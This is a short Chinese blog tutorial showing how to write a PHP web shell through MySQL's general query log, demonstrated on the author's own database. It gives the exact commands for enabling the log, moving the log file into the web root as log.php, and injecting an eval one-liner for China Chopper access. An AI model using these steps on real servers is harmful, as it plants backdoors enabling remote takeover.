--这里是暂时没找到合适的靶场,所以就用自己的数据库做一个原理演示
日志写马我们需要用到堆叠注入,也就是用 ; 连接多个SQL语句依次执行,但是一般的后端执行SQL语句使用的函数都是mysqli_query(),这个函数是不能使用堆叠注入的,很少用到mysqli_multi_query()
Mysql数据库日志写马的两个条件:
1、general_log='on';
全局变量日志开关需要打开
2、general_log_file='.........\log.php'
需要手动修改日志存储路径,以便菜刀连接
可以使用 show global variables like "%general%" 模糊查询全局变量
可以看到,默认情况下日志记录是关闭的,需要手动开启:set global general_log='on';
日志存储路径中的日志文件后缀也是.log,Mysql数据库中需要改为.php,并放到网站目录下:set global general_log_file='D:\\phpStudy\\WWW\\log.php';
1、路径中的 \ 需要用 \\
2、也需要知道网站的绝对路径
然后就可以写入一句话 select <?php @eval(POST[8]);?>;
然后可以看到log.php文件中已经写入了一句话,可以用菜刀连接
毫无疑问,肯定成功了(撒花)
本文来自博客园,作者:domb,转载请注明原文链接:https://www.cnblogs.com/domb2235/p/16285391.html